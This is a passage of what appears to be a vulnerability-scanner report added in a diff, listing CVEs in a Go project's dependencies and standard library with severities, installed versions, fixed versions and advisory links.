thrift: Apache Thrift: Denial of Service via infinite loop │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-43871 │ +├──────────────────────────────────┼─────────────────────┤ │ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/buger/jsonparser │ CVE-2026-32285 │ │ │ v1.1.1 │ 1.1.2 │ github.com/buger/jsonparser: github.com/buger/jsonparser: │ +│ │ │ │ │ │ │ Denial of Service via malformed JSON input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32285 │ +├──────────────────────────────────┼─────────────────────┤ ├──────────┼──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/docker/docker │ CVE-2026-41567 │ │ affected │ v28.0.1+incompatible │ │ docker: Moby/Docker Engine: Arbitrary Code Execution via │ +│ │ │ │ │ │ │ malicious container image and compressed... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-41567 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42306 │ │ │ │ │ github.com/docker/docker: github.com/moby/moby: Moby │ +│ │ │ │ │ │ │ container framework: Host file overwrite via race condition │ +│ │ │ │ │ │ │ in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42306 │ +├──────────────────────────────────┼─────────────────────┤ ├──────────┼──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/dvsekhvalnov/jose2go │ CVE-2025-63811 │ │ fixed │ v1.6.0 │ 1.7.0 │ jose2go: jose2go: Denial-of-Service via crafted JWE token │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-63811 │ +├──────────────────────────────────┼─────────────────────┤ │ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/expr-lang/expr │ CVE-2025-68156 │ │ │ v1.17.2 │ 1.17.7 │ github.com/expr-lang/expr: Expr: Denial of Service via │ +│ │ │ │ │ │ │ uncontrolled recursion in expression evaluation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68156 │ +├──────────────────────────────────┼─────────────────────┤ │ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/go-jose/go-jose/v4 │ CVE-2026-116587 │ │ │ v4.0.5 │ 4.1.6 │ github.com/go-jose/go-jose: go-jose: Denial of Service via │ +│ │ │ │ │ │ │ crafted RSA parameters in JWKs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-116587 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-34986 │ │ │ │ 4.1.4 │ github.com/go-jose/go-jose/v3: │ +│ │ │ │ │ │ │ github.com/go-jose/go-jose/v4: Go JOSE: Denial of Service │ +│ │ │ │ │ │ │ via crafted JSON Web Encryption... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-34986 │ +├──────────────────────────────────┼─────────────────────┼──────────┤ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/jackc/pgx/v5 │ CVE-2026-33815 │ CRITICAL │ │ v5.7.4 │ 5.9.0 │ github.com/jackc/pgx/v5: github.com/jackc/pgx: Memory-safety │ +│ │ │ │ │ │ │ vulnerability │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33815 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33816 │ │ │ │ │ github.com/jackc/pgx/v5: github.com/jackc/pgx: Memory-safety │ +│ │ │ │ │ │ │ vulnerability │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33816 │ +├──────────────────────────────────┼─────────────────────┼──────────┤ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/klauspost/compress │ CVE-2026-63209 │ HIGH │ │ v1.18.0 │ 1.18.7 │ github.com/klauspost/compress: klauspost/compress: Denial of │ +│ │ │ │ │ │ │ Service via integer overflow in dictionary processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-63209 │ +├──────────────────────────────────┼─────────────────────┤ │ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/prometheus/prometheus │ CVE-2026-42151 │ │ │ v0.300.1 │ 0.311.3 │ github.com/prometheus/prometheus: Prometheus: Information │ +│ │ │ │ │ │ │ disclosure of Azure OAuth client secret via config API... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42151 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42154 │ │ │ │ 0.311.3, 0.305.2 │ github.com/prometheus/prometheus: Prometheus: Denial of │ +│ │ │ │ │ │ │ Service via uncontrolled memory allocation in remote read... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42154 │ +├──────────────────────────────────┼─────────────────────┼──────────┤ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/rabbitmq/amqp091-go │ CVE-2026-77405 │ CRITICAL │ │ v1.10.0 │ 1.13.0 │ github.com/rabbitmq/amqp091-go: RabbitMQ amqp091-go: Missing │ +│ │ │ │ │ │ │ Explicit TLS Minimum Version Configuration In URI Parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-77405 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-77408 │ │ │ │ │ github.com/rabbitmq/amqp091-go: RabbitMQ amqp091-go: Silent │ +│ │ │ │ │ │ │ Data Truncation and State Corruption via Shortstr Integer... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-77408 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-77411 │ │ │ │ │ github.com/rabbitmq/amqp091-go: RabbitMQ amqp091-go: │ +│ │ │ │ │ │ │ Protocol Desynchronization and Frame Injection via Integer │ +│ │ │ │ │ │ │ Overflow in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-77411 │ +│ ├─────────────────────┼──────────┤ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-77403 │ HIGH │ │ │ │ github.com/rabbitmq/amqp091-go: RabbitMQ amqp091-go: Denial │ +│ │ │ │ │ │ │ of Service via AMQP frame size negotiation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-77403 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-77404 │ │ │ │ │ github.com/rabbitmq/amqp091-go: RabbitMQ amqp091-go: │ +│ │ │ │ │ │ │ Connection configuration overwrite via unsanitized TLS path │ +│ │ │ │ │ │ │ parameter injection... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-77404 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-77406 │ │ │ │ │ github.com/rabbitmq/amqp091-go: RabbitMQ amqp091-go: Denial │ +│ │ │ │ │ │ │ of Service via signed-to-unsigned integer casting │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-77406 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-77407 │ │ │ │ │ github.com/rabbitmq/amqp091-go: RabbitMQ amqp091-go: │ +│ │ │ │ │ │ │ Plaintext Credential Exposure via Exported PLAIN │ +│ │ │ │ │ │ │ Authentication Fields │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-77407 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-77410 │ │ │ │ │ github.com/rabbitmq/amqp091-go: RabbitMQ amqp091-go: Denial │ +│ │ │ │ │ │ │ of Service via unbounded body buffer allocation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-77410 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-77412 │ │ │ │ │ github.com/rabbitmq/amqp091-go: RabbitMQ amqp091-go: Denial │ +│ │ │ │ │ │ │ of Service via Malicious AMQP Field Length │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-77412 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-79921 │ │ │ │ │ github.com/rabbitmq/amqp091-go: amqp091-go: Denial of │ +│ │ │ │ │ │ │ Service via oversized AMQP payloads │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-79921 │ +├──────────────────────────────────┼─────────────────────┤ │ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ go.opentelemetry.io/otel/sdk │ CVE-2026-24051 │ │ │ v1.35.0 │ 1.40.0 │ opentelemetry-go: OpenTelemetry-Go Affected by Arbitrary │ +│ │ │ │ │ │ │ Code Execution via PATH Hijacking │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-24051 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39883 │ │ │ │ 1.43.0 │ github.com/open-telemetry/opentelemetry-go: │ +│ │ │ │ │ │ │ OpenTelemetry-Go: Arbitrary code execution via PATH │ +│ │ │ │ │ │ │ hijacking on BSD/Solaris │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39883 │ +├──────────────────────────────────┼─────────────────────┤ │ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/crypto │ CVE-2025-47913 │ │ │ v0.36.0 │ 0.43.0 │ golang.org/x/crypto/ssh/agent: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/agent: SSH client panic due to │ +│ │ │ │ │ │ │ unexpected SSH_AGENT_SUCCESS │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-47913 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39828 │ │ │ │ 0.52.0 │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Unauthorized command execution via discarded SSH permissions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39828 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39829 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via crafted public key with excessive parameters... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39829 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39830 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via resource leak from unsolicited SSH responses... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39830 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39831 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Security │ +│ │ │ │ │ │ │ key bypass due to missing user presence check │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39831 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39832 │ │ │ │ │ golang.org/x/crypto/ssh/agent: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/agent: Security bypass due to │ +│ │ │ │ │ │ │ improper handling of key restrictions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39832 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39835 │ │ │ │ │ golang.org/x/crypto/ssh: golang: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Denial of Service via crafted SSH certificate │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39835 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42508 │ │ │ │ │ golang.org/x/crypto/ssh/knownhosts: golang: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/knownhosts: Revocation bypass via │ +│ │ │ │ │ │ │ unchecked SignatureKey │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42508 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46595 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Authorization bypass due to skipped source-address │ +│ │ │ │ │ │ │ validation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46595 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46597 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via crafted AES-GCM packet decoder inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46597 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56854 │ │ │ │ 0.55.0 │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Authentication bypass due to unenforced source-address │ +│ │ │ │ │ │ │ restrictions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56854 │ +├──────────────────────────────────┼─────────────────────┤ │ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/mod │ CVE-2026-56864 │ │ │ v0.24.0 │ 0.40.0 │ golang.org/x/mod/sumdb: golang.org/x/mod/sumdb: Integrity │ +│ │ │ │ │ │ │ bypass via malicious GOSUMDB │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56864 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56865 │ │ │ │ │ golang.org/x/mod/sumdb/tlog: golang.org/x/mod/sumdb/tlog: │ +│ │ │ │ │ │ │ Supply chain compromise via transparency log tile │ +│ │ │ │ │ │ │ verification bypass │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56865 │ +├──────────────────────────────────┼─────────────────────┤ │ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/net │ CVE-2026-25681 │ │ │ v0.37.0 │ 0.55.0 │ golang.org/x/net/html: golang.org/x/net/html: Arbitrary code │ +│ │ │ │ │ │ │ execution via Cross-Site Scripting │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25681 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27136 │ │ │ │ │ golang.org/x/net/html: golang: golang.org/x/net/html: │ +│ │ │ │ │ │ │ Cross-Site Scripting via HTML parsing bypass │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27136 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ 0.53.0 │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 0.55.0 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46600 │ │ │ │ 0.56.0 │ golang.org/x/net/dns/dnsmessage: │ +│ │ │ │ │ │ │ golang.org/x/net/dns/dnsmessage: Denial of Service via │ +│ │ │ │ │ │ │ invalid DNS record parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46600 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78661 │ │ │ │ 0.62.0 │ golang.org/x/net/html: golang.org/x/net/html: Denial of │ +│ │ │ │ │ │ │ Service via crafted HTML input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78661 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ 0.60.0 │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +├──────────────────────────────────┼─────────────────────┤ │ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/text │ CVE-2026-56851 │ │ │ v0.23.0 │ 0.41.0 │ golang.org/x/text: golang.org/x/text: Denial of Service via │ +│ │ │ │ │ │ │ out-of-bounds slice error in Nickname profile... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56851 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56852 │ │ │ │ 0.39.0 │ golang.org/x/text: golang.org/x/text: Denial of Service via │ +│ │ │ │ │ │ │ invalid UTF-8 input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56852 │ +├──────────────────────────────────┼─────────────────────┼──────────┤ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ google.golang.org/grpc │ CVE-2026-33186 │ CRITICAL │ │ v1.71.0 │ 1.79.3 │ google.golang.org/grpc/grpc-go: │ +│ │ │ │ │ │ │ google.golang.org/grpc/authz: gRPC-Go: Authorization bypass │ +│ │ │ │ │ │ │ due to improper HTTP/2 path validation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33186 │ +│ ├─────────────────────┼──────────┤ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84304 │ HIGH │ │ │ 1.83.1 │ google.golang.org/grpc: gRPC-Go: Denial of Service via │ +│ │ │ │ │ │ │ HTTP/2 DATA Frame Fragmentation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84304 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84445 │ │ │ │ 1.82.2, 1.83.2, 1.84.0-dev.0.20260825144003-d5a41119e0e3, │ google.golang.org/grpc: gRPC-Go: Denial of Service via │ +│ │ │ │ │ │ 1.85.0-dev.0.20260825072537-93e31b48545e │ malformed RPC requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84445 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ GHSA-hrxh-6v49-42gf │ │ │ │ 1.82.1 │ gRPC-Go: xDS RBAC and HTTP/2 Vulnerabilities │ +│ │ │ │ │ │ │ https://github.com/advisories/GHSA-hrxh-6v49-42gf │ +├──────────────────────────────────┼─────────────────────┼──────────┤ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ stdlib │ CVE-2025-68121 │ CRITICAL │ │ v1.24.1 │ 1.24.13, 1.25.7, 1.26.0-rc.3 │ crypto/tls: crypto/tls: Incorrect certificate validation │ +│ │ │ │ │ │ │ during TLS session resumption │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68121 │ +│ ├─────────────────────┼──────────┤ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-22874 │ HIGH │ │ │ 1.24.4 │ crypto/x509: Usage of ExtKeyUsageAny disables policy │ +│ │ │ │ │ │ │ validation in crypto/x509 │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-22874 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61726 │ │ │ │ 1.24.12, 1.25.6 │ golang: net/url: Memory exhaustion in query parameter │ +│ │ │ │ │ │ │ parsing in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61726 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61729 │ │ │ │ 1.24.11, 1.25.5 │ crypto/x509: golang: Denial of Service due to excessive │ +│ │ │ │ │ │ │ resource consumption via crafted... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61729 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-111943 │ │ │ │ 1.26.10, 1.27.3 │ crypto/x509: golang: crypto/x509: Man-in-the-middle attacks │ +│ │ │ │ │ │ │ via untrusted intermediate certificates │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-111943 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-25679 │ │ │ │ 1.25.8, 1.26.1 │ net/url: Incorrect parsing of IPv6 host literals in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25679 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27145 │ │ │ │ 1.25.11, 1.26.4 │ crypto/x509: golang: golang crypto/x509: Denial of Service │ +│ │ │ │ │ │ │ via excessive processing of DNS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27145 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32280 │ │ │ │ 1.25.9, 1.26.2 │ crypto/x509: crypto/tls: golang: Go: Denial of Service │ +│ │ │ │ │ │ │ vulnerability in certificate chain building... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32280 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32281 │ │ │ │ │ crypto/x509: golang: Go crypto/x509: Denial of Service via │ +│ │ │ │ │ │ │ inefficient certificate chain validation... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32281 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32283 │ │ │ │ │ crypto/tls: golang: Go crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple TLS 1.3 key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32283 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33811 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via long │ +│ │ │ │ │ │ │ CNAME response... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33811 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33818 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ encoding/asn1: golang: Go encoding/asn1: Denial of Service │ +│ │ │ │ │ │ │ via excessive recursion in Unmarshal... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33818 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39820 │ │ │ │ 1.25.10, 1.26.3 │ net/mail: golang: Go net/mail: Denial of Service via crafted │ +│ │ │ │ │ │ │ email inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39820 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39822 │ │ │ │ 1.25.12, 1.26.5, 1.27.0-rc.2 │ golang: Go os.Root: Symlink following vulnerability allows │ +│ │ │ │ │ │ │ directory traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39822 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39836 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via NUL byte │ +│ │ │ │ │ │ │ in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39836 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42499 │ │ │ │ │ net/mail: golang: net/mail: Denial of Service via │ +│ │ │ │ │ │ │ pathological email address parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42499 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42504 │ │ │ │ 1.25.11, 1.26.4 │ mime: golang: Golang MIME: Denial of Service via │ +│ │ │ │ │ │ │ maliciously-crafted MIME header │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42504 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56853 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ net/http: golang: Go net/http: Unencrypted HTTP/2 │ +│ │ │ │ │ │ │ connections vulnerable to Denial of Service... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56853 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56858 │ │ │ │ │ html/template: golang: Go html/template: Cross-Site │ +│ │ │ │ │ │ │ Scripting via pathological input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56858 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56859 │ │ │ │ │ encoding/xml: golang: Go: Denial of Service via XML decoding │ +│ │ │ │ │ │ │ recursion depth issue... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56859 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56860 │ │ │ │ │ net/url: golang: golang net/url: Denial of Service from │ +│ │ │ │ │ │ │ quadratic complexity in path... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56860 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56862 │ │ │ │ │ crypto/tls: golang: Golang crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ indefinite KeyUpdate messages │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56862 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78667 │ │ │ │ 1.26.9, 1.27.2 │ net/http: golang: golang: Denial of Service via crafted HTTP │ +│ │ │ │ │ │ │ Range headers │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78667 